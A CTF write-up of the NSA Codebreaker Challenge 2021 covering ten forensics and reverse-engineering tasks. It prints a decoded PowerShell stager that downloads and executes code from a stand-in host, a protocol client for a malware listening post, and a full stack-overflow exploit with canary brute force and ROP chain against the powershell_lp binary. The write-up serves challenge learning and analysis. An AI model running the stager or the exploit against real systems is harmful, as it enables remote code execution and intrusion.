This is the NSA Codebreaker Challenge 2021. There are 10 tasks, mostly related to forensics and reverse engineering. It's like reading a story since there are some correlations among those tasks. Here's how I solve it, enjoy~
Task 1
I was provided with the IP ranges, and capture.pcap
.
Access Statistics -> Endpoints -> IPv4
in Wireshark, and we can get the IPs within the range.
So the answer is
1
2
3
4
|
172.22.114.148
192.168.62.53
192.168.154.101
198.19.198.122
|
Task 2
oops_subnet.txt
The IP we got within the IP range in task 1 is 192.168.154.101
.
In capture.pcap
from task 1, we saw the IP access /chairman
at 08:40:11 EDT.
Open proxy.log
, we can see
1
|
2021-03-16 08:40:11 42 172.25.239.6 200 TCP_MISS 12734 479 GET http xdjco.invalid chairman - - DIRECT 172.28.66.248 application/octet-stream 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' PROXIED none - 172.25.238.80 SG-HTTP-Service - none -
|
172.25.239.6
is c-ip, and we should see who logged in to that machine at that time.
To get the login information, I ran cat logins.json | grep 172.25.239.6 | grep LogonId | jq '[.PayloadData3, .TimeCreated] | @csv' > logins_172.25.239.6
, and get
And retrieve all the log off information with cat logins.json | grep "logged off"| jq '[.PayloadData3, .TimeCreated] | @csv' > logged_off
.
Since the timezone is UTC, we need to minus 4 hours to EDT. So we only need to look at those ID login attempts before 12:40:11 UTC.
By looking up those 9 IDs in logged_off
, we can see that nearly every ID logged off at around 12:12 UTC. Only ID 0X3345F1
logged off at 14:29:16 UTC. So that ID is what we are looking for.
Task 3
I was provided with 24 emails.
I cat them all and see a suspicious string from line 68 to 80 in message_1.eml.
I decode it using base64, and get
1
|
powershell -nop -noni -w Hidden -enc JABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAOgAvAC8AeABkAGoAYwBvAC4AaQBuAHYAYQBsAGkAZAAvAGMAaABhAGkAcgBtAGEAbgAnACkACgAKACQAcAByAGUAdgAgAD0AIABbAGIAeQB0AGUAXQAgADcANgAKAAoAJABkAGUAYwAgAD0AIAAkACgAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBzAC4AbABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgACQAcAByAGUAdgAgAD0AIAAkAGIAeQB0AGUAcwBbACQAaQBdACAALQBiAHgAbwByACAAJABwAHIAZQB2AAoAIAAgACAAIAAkAHAAcgBlAHYACgB9ACkACgAKAGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACkACgA=
|
There’s another base64 string. Decode it, and get a PowerShell script
1
2
3
4
5
6
7
8
9
10
|
$bytes = (New-Object Net.WebClient).DownloadData('http://xdjco.invalid/chairman')
$prev = [byte] 76
$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
$prev = $bytes[$i] -bxor $prev
$prev
})
iex([System.Text.Encoding]::UTF8.GetString($dec))
|
It downloads the data from /chairman
, and each byte does XOR with 76.
I fetched the data from capture.pcap
, called it chairman
, and then wrote a PowerShell script to decode it.
decode.ps1
1
2
3
4
5
6
7
8
9
10
|
$bytes = Get-Content -Path .\chairman -Raw
$prev = [byte] 76
$dec = $(for ($i = 0; $i -lt $bytes.length; $i++) {
$prev = $bytes[$i] -bxor $prev
$prev
})
[System.Text.Encoding]::UTF8.GetString($dec)
|
The output is part2.ps1
.
In conclusion, for this task, it wants
- the message ID of the malicious email, which is
<161582742600.22130.7820950468761108345@oops.net>
- the domain name of the server that the malicious payload sends a POST request to, which can be found in
part2.ps1
, yvotl.invalid
.
Task 4
I got many SSH2 Public Keys and PuTTY Private Keys with a NTUSER.dat file.
Take a look at part2.ps1
from task 3. We can see that it stores the PuTTY information in \SOFTWARE\SimonTatham\PuTTY\Sessions
.
With Registry Explorer, we can open NTUSER.dat
and look for the corresponding registry.
Only dkr_prd60.ppk
has the Encryption: none
among these registries.
The task wants us to provide the hostname and username of the compromised server. Looking back to Registry Explorer, we can get the hostname dkr_prd60
and username builder05
.
Task 5
There are 3 questions for this task
- Enter the email of the PANIC employee who maintains the image
- Enter the URL of the repository cloned when this image runs
- Enter the full path to the malicious file present in the image
First, we load the image into docker. The image will be loaded as panic-nightly-test:latest
.
We can inspect the information with docker image inspect panic-nightly-test
, and get the email thurber.emily@panic.invalid
.
If we run the docker directly with docker run panic-nightly-test
, we can answer the second question, which is https://git-svr-34.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git
.
I run the docker with docker run -it panic-nightly-test /bin/bash
, and there is a file build_test.sh
.
1
2
3
4
5
6
7
8
9
10
11
|
#!/bin/bash
git clone https://git-svr-34.prod.panic.invalid/hydraSquirrel/hydraSquirrel.git repo
cd /usr/local/src/repo
./autogen.sh
make -j 4 install
make check
|
With which make
, I found that it is /usr/bin/make
. I ran strings /usr/bin/make
, and many strange strings showed up. It should be the malicious file.
Task 6
There are 3 questions for this task
- Enter the IP of the LP that the malicious artifact sends data to
- Enter the public key of the LP (hex encoded)
- Enter the version number reported by the malware
We can first do static analysis on the binary and then do dynamic analysis to extract the values we want.
First, the IP is the output of do_lock(19)
. The reason is that if you further follow into the function start
, you can see that it executes a function open_socket
with that as the first argument, and the other argument is port 6666
.
Next, the public key is the output of do_lock(18)
. The reason is that on line 29 it is copied to public_key
, and is used on line 36. The corresponding parameter for that encryption function is the public key.
Finally, the version is the output of do_lock(17)
. The reason is that on line 45, it creates a base64 string, and if you decode it, you can see the string version=1.4.3.0-JJI
, and 1.4.3.0-JJI
is the output of do_lock(17)
.
Task 7
We need to provide the plaintext a client would send to initialize a new session with the provided UUID for this task. I got the UUID 20c14b59-a187-468b-9109-93f82ee07cf4
.
The function to create plaintext is on line 61 create_message
.
Before dynamic analysis, I run echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
on the host to disable ASLR, which can be easier for my investigation.
I also installed some packages in the docker, including gdb, curl, git, gef, etc.
And I cloned a random GitHub repository and named it repo
in the docker because the binary will gather information from repo
.
After that, I create a file .gdbinit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
set follow-fork-mode parent
shell rm /tmp/.gglock
set $base=0x555555554000
b main
r
# after open_socket
b *($base+0x5a71b)
c
set $rax = 5
# after encrypt_and_send
b *($base+0x5a75e)
c
set $rax = 0
# create_message
b *($base+0x5a7ad)
c
set *0x7ffff77ff670=0x594bc120
set *0x7ffff77ff674=0x8b4687a1
set *0x7ffff77ff678=0xf8930991
set *0x7ffff77ff67c=0xf47ce02e
|
First, it deletes /tmp/.gglock
because the binary will check the file does not exist. And then, we stop after open_socket
, and changes $rax
to 5, pretending the connection to the remote server is successful. After encrypt_and_send
, we break again and set $rax
to 0, pretending that the fingerprint is sent with no error. Finally, we stop before create_message
, and modify the value of p_uuid
to the UUID we got.
Run gdb /usr/bin/make -x .gdbinit
, it will stop before running create_message
, and we can see the UUID, which is $rsi
, is being set to the value we provided.
Execute ni
for next instruction, and dump the bytes from the output, and we can get the plaintext 1e7cc0604800000200024808001020c14b59a187468b910993f82ee07cf4ef0bdff6
.
Task 8
To solve this task, I have to fully understand what the binary is doing.
Line 45 creates the fingerprint, a base64-encoded string of username, version, system name, and timestamp.
Line 48 creates a session_key
with username, version, and timestamp. In the function, it concatenates the element and does the sha256 hash.
Line 56 will encrypt the fingerprint with a randomly created key pair and send it to the server. Since the key pair is randomly generated and not used anymore in the binary, we have no clue to decrypt this message.
Line 61 takes the UUID as input and adds some headers to it. The output is pushed into messages
.
Line 92 creates other messages with the information from repo
and pushes them into messages
.
Line 107 encrypts those messages and pushes them into ciphertexts
.
Finally, line 123 sends those ciphertexts to the remote server.
Here is the create_ciphertext
function. It encrypts the message with randomly generated nonce and the session key, and the nonce is then appended to the ciphertext.
So, we can brute force on the session key and focus on the message created on line 61, which should be the second message sent to the server, and I found that its length is always 78 bytes.
I make a script to create session keys by trying different combinations of username, version, and timestamp. Get the nonce from the data, and try to decrypt the ciphertext, which can also be found from data, with nonce and session key. If it succeeds, we get the correct username, version, and timestamp to the corresponding IP address. We can also get the UUID from the plaintext.
The first version of my script looks like this.
brute-version1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
import hashlib
import libnacl
import string
import sys
from itertools import product
# 4 + 24 + 50
timestamp = 1615898449
path = '../data/data_172_19_1_72.bin'
f = open(path, 'rb')
line = f.read()
f.close()
print(line)
nonce = line[4:28]
ciphertext = line[28:]
def fpTok(username, version, timestamp):
m = hashlib.sha256()
key_str = username + "+" + version + "+" + str(timestamp)
m.update(key_str.encode())
return m.digest()
def brute_force(ciphertext, nonce, timestamp):
start = timestamp-5
end = timestamp
for n in range(4, 8):
usernames = product(string.ascii_lowercase, repeat=n)
print("username length", n)
for user in usernames:
username = ''.join(user)
versions = product(string.digits, repeat=3)
for v in versions:
for o in range(0, 4):
version = str(o) + '.' + '.'.join(v)
for m in range(start, end):
session_key = fpTok(username, version, m)
try:
plaintext = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
print("Successfully decrypt !!!!")
print(f"username: {username}, version: {version}, timestamp: {m}")
return 0
except:
pass
brute_force(ciphertext, nonce, timestamp)
|
I tried username from length 4 to 7, version from regex [0123].digit.digit.digit, 4000 combinations in total, and getting timestamp from the time of getting the packet, with a deviation of -5 to 0 (From timestamp-5 to timestamp)
With this script, I successfully get 3 of them.
But later, I found that it was too slow, so I looked up the lists in SecLists for a list containing root
, aniko
, and addia
. And I found the wordlist Usernames/Names/names.txt
with 10177 entries that match my requirement.
So, I used this wordlist.
brute-version2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
import hashlib
import libnacl
import sys
import string
from itertools import product
timestamp = 1615898436
path = '../data/data_192_168_148_150.bin'
f = open(path, 'rb')
line = f.read()
f.close()
print(line)
nonce = line[4:28]
ciphertext = line[28:]
def fpTok(username, version, timestamp):
m = hashlib.sha256()
key_str = username + "+" + version + "+" + str(timestamp)
m.update(key_str.encode())
return m.digest()
def brute_force(ciphertext, nonce, timestamp):
start = timestamp-8
end = timestamp+2
count = 0
f = open("names.txt", "r")
usernames = f.readlines()
f.close()
for username in usernames:
count += 1
username = username.rstrip()
print(username)
versions = product(string.digits, repeat=3)
for v in versions:
for o in range(0, 4):
version = str(o) + '.' + '.'.join(v)
for m in range(start, end):
session_key = fpTok(username, version, m)
try:
plaintext = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
print("Successfully decrypt !!!!")
print(f"username: {username}, version: {version}, timestamp: {m}")
print(f"count: {count}")
return 0
except:
pass
brute_force(ciphertext, nonce, timestamp)
|
And got all the rest 😃
I created a script to extract the UUID, which is a reversing script of function create_message
on line 61.
extract_message.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
#!/usr/bin/env python3
import hashlib
import libnacl
import socket
from pwn import *
param_map = {0x4800: 'cmd', 0x4808: 'uuid', 0x4814: 'dirname', 0x481c: 'filename', 0x4820: 'contents', 0x4824: 'more', 0x4828: 'code'}
command_map = {0x2: 'init', 0x6: 'upload', 0x7: 'fin'}
"""
# exp1
path = './data/data_172_19_1_72.bin'
username = "root"
version = "1.4.3.0"
timestamp = 1615898447
# 0x096892310be84c2db64195d417881bfc
"""
"""
# exp2
path = './data/data_192_168_148_150.bin'
username = "france"
version = "1.0.3.6"
timestamp = 1615898435
# Data: 0x176cbb813f9a4778a4e79d6a26ceaf3c
"""
"""
# exp3
path = './data/data_198_19_198_122.bin'
username = "addia"
version = "1.1.7.9"
timestamp = 1615898423
# 0x096892310be84c2db64195d417881bfc
"""
"""
# exp4
path = './data/data_172_27_184_23.bin'
username = "aniko"
version = "0.0.4.3"
timestamp = 1615898410
# 0x053053a35624496781ff0a70250d331b
"""
"""
# exp5
path = './data/data_172_22_114_148.bin'
username = "roish"
version = "1.7.1.9"
timestamp = 1615898373
# 0x1106906392414826b23997300fc4ecb0
"""
# exp6
path = './data/data_192_168_62_53.bin'
username = "georgianne"
version = "1.9.4.7"
timestamp = 1615898362
f = open(path, 'rb')
line = f.read()
f.close()
nonce = line[4:28]
ciphertext = line[28:]
def fpTok(username, version, timestamp):
m = hashlib.sha256()
key_str = username + "+" + version + "+" + str(timestamp)
m.update(key_str.encode())
return m.digest()
def decipher(ciphertext, nonce, username, version, timestamp):
session_key = fpTok(username, version, timestamp)
plaintext = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
return plaintext
message = decipher(ciphertext, nonce, username, version, timestamp)
#print(message)
magic_start = 0x1E7CC060
magic_end = 0x0EF0BDFF6
assert message[0:4] == p32(socket.htonl(magic_start))
start = 4
while message[start:start+4] != p32(socket.htonl(magic_end)):
param = socket.ntohs(u16(message[start : start + 2]))
data_length = socket.ntohs(u16(message[start + 2 : start + 4]))
data = ""
for b in message[start + 4: start + 4 + data_length]:
data += "0x{:02x}".format(b)[2:]
data = "0x" + data
print(f"Param: {hex(param)} => {param_map[param]}")
print(f"Data length: {hex(data_length)}")
if param_map[param] == 'cmd':
print(f"Data: {data} => {command_map[int(data, 16)]}")
else:
print(f"Data: {data}")
start += 2 + 2 + data_length
|
The param_map
and command_map
can be found in the binary.
The task is asking the UUID associated with the DIB. If we look up the ip_ranges.txt
from task 1, we only need to provide the UUID from these 3 addresses
1
2
3
|
172.22.114.148
192.168.62.53
198.19.198.122
|
So the result is
1
2
3
|
11069063-9241-4826-b239-97300fc4ecb0
459a62bb-d1ff-4322-9180-1946fbc30d43
5d74edb6-a6b2-416d-b195-dd9919098dcf
|
Task 9
Starting from this task, I can communicate with the LP.
We have to see who has registered with the LP for this task,
First, I want to know how the protocol works.
Since I have the session key, I tried to decrypt all the other data from capture.pcap
from task 1 and see what they are doing.
With deeper investigation, I found even more commands and parameters used in communication. This is the final version of my script.
interact.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
|
#!/usr/bin/env python3
import hashlib
import libnacl
import libnacl.utils
import socket
import os
import base64
import time
from pwn import *
host = "54.164.13.70"
port = 6666
param_map = {0x4800: 'cmd', 0x4808: 'uuid', 0x4814: 'dirname', 0x4818: 'list', 0x481c: 'filename', 0x4820: 'contents', 0x4824: 'more', 0x4828: 'code'}
command_map = {0x0002: 'init', 0x0003: 'pwd', 0x0004: 'ls', 0x0005: 'cat', 0x0006: 'upload', 0x0007: 'fin'}
cmd = ""
dirname = ""
filename = ""
uuid = "09689231-0be8-4c2d-b641-95d417881bfd"
username = "l3o"
version = "1.4.3.0-JJI"
sysname = "Linux"
timestamp = 0x6050a74f
def lengthHeader(bodyLen):
length_header = b"\x1a\x5e"
v2 = socket.ntohs(u16(length_header))
retstr = length_header + p16(socket.htons(((0x10000000000000000 + (bodyLen - v2)) & 0xffff)))
return retstr
def create_share_info(fingerprint):
#pk, sk = libnacl.crypto_box_keypair()
pk = b"\xa9\xd5\x02\xee\x97\x51\x8c\x0d\xe9\xc6\x32\xf2\x10\xca\x57\xfa\x10\x35\x17\x9e\x93\x32\xbd\xac\x55\x65\xa5\x5c\x34\xdc\x4e\x0b"
sk = b"\x77\x34\xc7\x5f\x41\xf6\x6e\x48\x4b\x87\x6f\x22\xb6\x0a\x2a\x99\x18\x1b\x38\xfa\x81\xcf\x4a\x9c\x96\x1e\x62\x54\x75\xb0\x40\x32"
receiver_pubkey = b"\x67\x9e\xb3\x63\x58\x89\x31\xc2\x7b\xcb\xcb\x5c\xd7\x1f\xc0\xf3\x20\xce\xe4\xff\x0c\xa3\xe7\x11\xef\x3c\x15\xd5\x7e\x2a\xd2\x5f"
#nonce = libnacl.utils.rand_nonce()
nonce = b"\x8c\x75\x8b\x54\x8f\x9f\x2a\x17\xf5\x22\x49\xf9\xe9\xf2\x26\xe8\x01\x5c\xba\x0f\x5e\x44\x1d\xa0"
ciphertext = libnacl.crypto_box(fingerprint, nonce, receiver_pubkey, sk)
bodyLen = 0x18 + len(ciphertext)
header = lengthHeader(bodyLen)
payload = pk + header + nonce + ciphertext
return payload
def create_fingerprint(username, version, sysname, timestamp):
output = ["username="+username, "version="+version, "os="+sysname, "timestamp="+str(timestamp)]
return ','.join(base64.b64encode(o.encode("utf-8")).decode("utf-8") for o in output).encode()
def fpTok(username, version, timestamp):
version_short = version.split("-")[0]
m = hashlib.sha256()
key_str = username + "+" + version_short + "+" + str(timestamp)
m.update(key_str.encode())
return m.digest()
def decrypt(recv_data):
nonce = recv_data[4:28]
ciphertext = recv_data[28:]
message = libnacl.crypto_secretbox_open(ciphertext, nonce, session_key)
interpret(message)
def encrypt(packet):
nonce = b"\x8c\x75\x8b\x54\x8f\x9f\x2a\x17\xf5\x22\x49\xf9\xe9\xf2\x26\xe8\x01\x5c\xba\x0f\x5e\x44\x1d\xa0"
ciphertext = libnacl.crypto_secretbox(packet, nonce, session_key)
bodyLen = 0x18 + len(ciphertext)
header = lengthHeader(bodyLen)
encrypted_packet = header + nonce + ciphertext
return encrypted_packet
def interpret(message):
global cmd, dirname, filename
magic_start = 0x1E7CC060
magic_end = 0x0EF0BDFF6
assert message[0:4] == p32(socket.htonl(magic_start))
start = 4
while message[start:start+4] != p32(socket.htonl(magic_end)):
param = socket.ntohs(u16(message[start : start + 2]))
data_length = socket.ntohs(u16(message[start + 2 : start + 4]))
data = ""
for b in message[start + 4: start + 4 + data_length]:
data += "0x{:02x}".format(b)[2:]
if data != "":
data = "0x" + data
try:
print(f"Param: {hex(param)} => {param_map[param]}")
except:
print(f"Param: {hex(param)} => unknown parameter")
print(f"Data: {data}")
start += 2 + 2 + data_length
continue
print(f"Data length: {hex(data_length)}")
if param_map[param] == 'cmd':
try:
print(f"Data: {data} => {command_map[int(data, 16)]}")
cmd = command_map[int(data, 16)]
except:
print(f"Data: {data} => unknown command")
cmd = ""
elif param_map[param] == 'dirname':
bytes_object = bytes.fromhex(data[2:])
dirname = bytes_object.decode("ASCII")
dirname = dirname[:-1]
print(f"Data: {data} => {dirname}")
if cmd == "upload":
os.system(f"mkdir {dirname}")
elif param_map[param] == 'filename':
bytes_object = bytes.fromhex(data[2:])
filename = bytes_object.decode("ASCII")
filename = filename[:-1]
print(f"Data: {data} => {filename}")
elif param_map[param] == 'contents':
if data == "":
print(f"Data: empty")
if cmd == "upload":
print(f"Data: {data}")
f = open(f"{dirname}/{filename}", "ab")
for i in range(2, len(data), 2):
f.write(p8(int("0x" + data[i:i+2], 16)))
f.close()
elif cmd == "cat":
bytes_object = bytes.fromhex(data[2:])
content = bytes_object.decode("ASCII")
print(f"Data: {data} => {content}")
f = open(f"{filename}", "ab")
for i in range(2, len(data), 2):
f.write(p8(int("0x" + data[i:i+2], 16)))
f.close()
else:
print(f"Data: {data}")
elif param_map[param] == 'list':
bytes_object = bytes.fromhex(data[2:])
output = bytes_object.decode("ASCII")
output = output[:-1]
print(f"Data: {data} => {output}")
else:
print(f"Data: {data}")
start += 2 + 2 + data_length
def create_packet(m):
packet = b""
magic_start = 0x1E7CC060
magic_end = 0x0EF0BDFF6
packet += p32(socket.htonl(magic_start))
for key in m:
param = list(param_map.keys())[list(param_map.values()).index(key)]
packet += p16(socket.htons(param))
if key == 'cmd':
command = list(command_map.keys())[list(command_map.values()).index(m[key])]
packet += p16(socket.htons(2)) + p16(socket.htons(command))
elif key == 'uuid':
packet += p16(socket.htons(16))
uuid = m[key].replace('-', '')
for i in range(0, len(uuid), 2):
packet += p8(int("0x" + uuid[i:i+2], 16))
else:
#print(key)
data = m[key]
if key == 'dirname' or key == 'filename':
data += "\x00"
if key != 'more':
packet += p16(socket.htons(len(data)))
for ch in data:
#print(ch)
packet += p8(ord(ch))
else:
packet += p16(socket.htons(1)) + p8(data)
packet += p32(socket.htonl(magic_end))
return packet
fingerprint = create_fingerprint(username, version, sysname, timestamp)
#print(fingerprint)
session_key = fpTok(username, version, timestamp)
share_info = create_share_info(fingerprint)
p = remote(host, port)
p.send(share_info)
while True:
print("")
print("> ", end='')
my_input = input().split()
print("")
cmd = my_input[0]
packet_map = {
'cmd': cmd,
'uuid': uuid
}
if cmd == 'ls':
packet_map['dirname'] = my_input[1]
elif cmd == 'cat':
packet_map['dirname'] = my_input[1]
packet_map['filename'] = my_input[2]
elif cmd == 'upload':
packet_map['dirname'] = my_input[1]
packet_map['filename'] = my_input[2]
try:
f = open(my_input[3], "r")
except:
print("[-] No such file or directory !!!")
continue
content = f.read()
f.close()
packet_map['contents'] = content
packet_map['more'] = 0
elif cmd == 'exit':
break
packet = create_packet(packet_map)
print("================= Request =================")
interpret(packet)
print("")
encrypted_packet = encrypt(packet)
p.send(encrypted_packet)
recv_data = p.recv(4096, timeout=1)
print("================= Response =================")
decrypt(recv_data)
p.close()
|
I created the fingerprint and session key and did the same thing as the binary do, sending the encrypted fingerprint to the server.
And then, I created an interactive interface. I can do ls
, pwd
, cat
, and upload
commands to the server.
With pwd
, I found I am in /tmp/endpoints/09689231-0be8-4c2d-b641-95d417881bfd
, and 09689231-0be8-4c2d-b641-95d417881bfd
is the UUID I provided to the server.
I execute ls /tmp/endpoints/
, and see all other UUIDs, which are the ID registered with the LP.
So the answer is
1
2
3
4
5
|
3f2230b6-4c7c-469b-a67d-46f29ac95f55
bc159c5b-41d4-4635-8148-7dbc79473dc8
5d429948-fb2a-4a81-810c-206cab1e115a
b1d94b6b-2a82-4725-88c6-e46c8d1e582f
86761eed-061b-4769-8c78-b622a41a44dd
|
Task 10
First, we need to gain access to the LP.
I took a look at the /home
directory, and found .ssh
directory under /home/lpuser/
. There is id_rsa
inside, so I do cat /home/lpuser/.ssh id_rsa
to download the ssh private key. And then, I can make an SSH connection to the LP.
After that, we can see in /home/psuser
, there is a binary powershell_lp
, some log files, and runPs.sh
, which runs powershell_lp
.
runPs.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#!/bin/bash
echo "Powershell LP Loop -- Start"
sleep 30
cd /home/psuser/
while [ 1 ]
do
if [ -f "/tmp/stop_ps" ]; then
echo "Powershell LP -- Break"
break
fi
echo "Powershell LP -- Start"
./powershell_lp
sleep 10
done
echo "Powershell LP Loop -- Exit"
|
We need to make an exploit for this binary, and get user access as psuser
. I’ll show you how I did that.
Before I started, I found that IDA could not identify most of the functions in the binary, so I imported some FLIRT Signatures, trying to identify them. You can find the signature database here.
As you can see, I got 411 functions identified with signatures from libc6 version 2.27. Now let’s see what the binary does.
First, it opens the port on 8080 and opens 2 files, ps_server.log
and ps_data.log
.
On line 40, there is a fork. The child process will handle the connection. And on line 30, there is a signal. The handler will write the strings to ps_server.log
when the connection from the client ends.
What the child does is in sub_9669
.
It reads the content length from the request, stored in v6
, and the max value is 4096. Next, it reads that amount of data from recv_data
and stores it on the stack. And it will write the data with some other information to ps_data.log
.
However, there is a vulnerability in recv_data
. It seems that when a3
is 4096, we cannot read over that value. But on line 10, if we read 4095 bytes, after line 14, v5
will still be less than v3
, so line 10 is executed again, and we can see that the maximum size that read to the stack is still 4096, so we can read another 4096 bytes, it will cause a stack overflow.
Does it mean that we can control RIP? No, it’s not that easy 🥲
There are many protections: NX, and ASLR.
P.S. Although it says “No canary found”, there are actually canaries.
How can we deal with those protections 🤔
This is why there is ps_server.log
.
Typically, if the child exits successfully, it will write Child ... exited with status 0
into ps_server.log
.
If the canary is being overwritten, and the value is not the same as before, __stack_chk_fail
will be executed. In that case, it will write Child ... exited due to signal ...
to ps_server.log
. Since powershell_lp
does not exit after the signal handler, the canary will be the same. We can brute force it byte by byte. If we get status 0
in the log, we get the correct byte.
The next one is RBP. We can use the same technique as the canary.
And then, since NX is enabled, I am going to do ROP. But before ROP, we have to know the base address of the binary.
To find the base address of the binary, we can first try to get the original RIP. From dynamic analysis, I already know that the last 2 bytes of RIP are always 0x895f
, and the offset is 0x995f
in the binary, which is _close
on line 47. We just need to brute force the other 6 bytes to get the valid RIP, minus 0x995f
, and get the base address.
After that, I create a ROP chain that reads my input as filename and stores it on the stack, opens the file, reads the content to the stack, and writes it to the socket.
Here is the script
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
|
#!/usr/bin/env python
from pwn import *
import time
import subprocess
elf = context.binary = ELF("./powershell_lp")
context.update(arch='amd64', os='linux')
host = "54.208.57.135"
port = 8080
s = ssh(user="lpuser", host=host, keyfile="id_rsa")
canary = "\x00"
#canary = "\x00\xe0\xe8\xdc\x85W\xc5["
not_found = True
for i in range(7):
for j in range(256):
p = remote(host, port)
p.send("Content-Length: -1\r\n\r\n")
p.send("A" * 4095)
time.sleep(0.3)
payload = "B" * 9 + canary + p8(j)
p.send(payload)
time.sleep(0.3)
p.close()
out = s.process(["tail", "-n", "1", "/home/psuser/ps_server.log"]).recvall()
if "status 0" in out:
canary += p8(j)
print("canary", canary)
not_found = False
break
if not_found:
print("Canary Not Found oh my god???")
for ch in canary:
print(hex(u8(ch)))
exit(0)
not_found = True
rbp = "\x80"
#rbp = "\x80\x00\nJ\xff\x7f\x00\x00"
not_found = True
for i in range(7):
for j in range(256):
p = remote(host, port)
p.send("Content-Length: -1\r\n\r\n")
p.send("A" * 4095)
time.sleep(0.3)
payload = "B" * 9 + canary + "B" * 16 + rbp + p8(j)
p.send(payload)
time.sleep(0.3)
p.close()
out = s.process(["tail", "-n", "1", "/home/psuser/ps_server.log"]).recvall()
if "status 0" in out:
rbp += p8(j)
print("rbp", rbp)
not_found = False
break
if not_found:
print("RBP Not Found oh my god???")
for ch in rbp:
print(hex(u8(ch)))
print("canary", canary)
exit(0)
not_found = True
rip = "\x5f\x89"
not_found = True
for i in range(6):
for j in range(256):
p = remote(host, port)
p.send("Content-Length: -1\r\n\r\n")
p.send("A" * 4095)
time.sleep(0.3)
payload = "B" * 9 + canary + "B" * 16 + rbp + rip + p8(j)
p.send(payload)
time.sleep(0.3)
p.close()
out = s.process(["tail", "-n", "1", "/home/psuser/ps_server.log"]).recvall()
if "status 0" in out:
rip += p8(j)
print("rip", rip)
not_found = False
break
if not_found:
print("RIP Not Found oh my god???")
for ch in rip:
print(hex(u8(ch)))
print("canary", canary)
print("rbp", rbp)
exit(0)
not_found = True
print("canary", hex(u64(canary)))
print("rbp", hex(u64(rbp)))
print("rip", hex(u64(rip)))
#canary = p64(0x5bc55785dce8e000)
#rbp = p64(0x7fff4a0a0080)
#rip = p64(0x7efce736895f)
rip = u64(rip)
base = rip - 0x995f
read = base + 0x56890
open64 = base + 0x56630
write = base + 0x568c0
exit = base + 0x17ce0
target_file = "/home/psuser/.bash_history\x00"
p = remote(host, port)
p.send("Content-Length: -1\r\n\r\n")
p.send("A" * 4095)
time.sleep(1)
elf.address = base
rop = ROP(elf)
#haswell = base + 0xbbd48
rop.call(read, [6, u64(rbp), len(target_file)])
rop.call(open64, [u64(rbp), 0, 0])
rop.call(read, [5, u64(rbp), 1676])
rop.call(write, [6, u64(rbp), 1676])
rop.call(exit, [0])
#print(rop.dump())
payload = "B" * 9 + canary + "C" * 16 + rbp + rop.chain()
p.send(payload)
p.recvuntil("Content-Length")
p.send(target_file)
p.recvuntil(payload)
print(p.recv(120))
print("finish")
p.interactive()
p.close()
|
For Content-Length
, I used -1
because the comparison is unsigned, v2 will still be 4096. It’s OK to use other numbers greater or equal to 4096.
With this ROP chain, I can read /home/psuser/.bash_history
.
1
2
3
4
5
6
7
|
ls -la
date
wc ps_*
less ps_data.log
less ps_server.log
man scp
